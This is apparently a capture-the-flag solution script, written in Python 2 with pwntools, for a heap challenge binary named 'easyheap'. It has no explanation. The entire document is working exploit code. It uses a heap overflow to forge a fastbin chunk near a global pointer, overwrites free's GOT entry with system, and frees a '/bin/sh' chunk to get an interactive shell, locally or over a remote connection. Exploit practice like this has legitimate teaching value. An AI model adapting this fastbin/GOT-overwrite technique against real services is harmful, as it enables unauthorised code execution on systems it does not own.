1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   | #!/usr/bin/python2.7   # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.arch = "amd64" elf = ELF("easyheap") sh = 0 lib = 0 def edit(idx,size,content): 	sh.sendlineafter("Your choice :","2") 	sh.sendlineafter(":",str(idx)) 	sh.sendlineafter(":",str(size)) 	sh.sendafter(":",content) def add(size,content): 	sh.sendlineafter("Your choice :","1") 	sh.sendlineafter(":",str(size)) 	sh.sendlineafter(":",content) def free(idx): 	sh.sendlineafter("Your choice :","3") 	sh.sendlineafter(":",str(idx)) def pwn(ip,port,debug): 	global sh 	global lib 	if(debug == 1): 		sh = process("./easyheap") 		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") 	else: 		sh = remote(ip,port) 		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") 	add(0x68,'') 	add(0x68,'') 	add(0x68,'') 	free(2) 	payload = '/bin/sh\x00' 	payload = payload.ljust(0x68,'a') 	payload += p64(0x71) + p64(0x6020ad) 	edit(1,0x200,payload) 	add(0x68,'') 	add(0x68,'') 	payload = '\xaa' * 3 + p64(0) * 4 + p64(elf.got['free']) 	edit(3,len(payload) + 0x100,payload) 	edit(0,9,p64(elf.plt['system'])) 	free(1) 	sh.interactive() if __name__ == "__main__": 	pwn("127.0.0.1",9999,1)
   |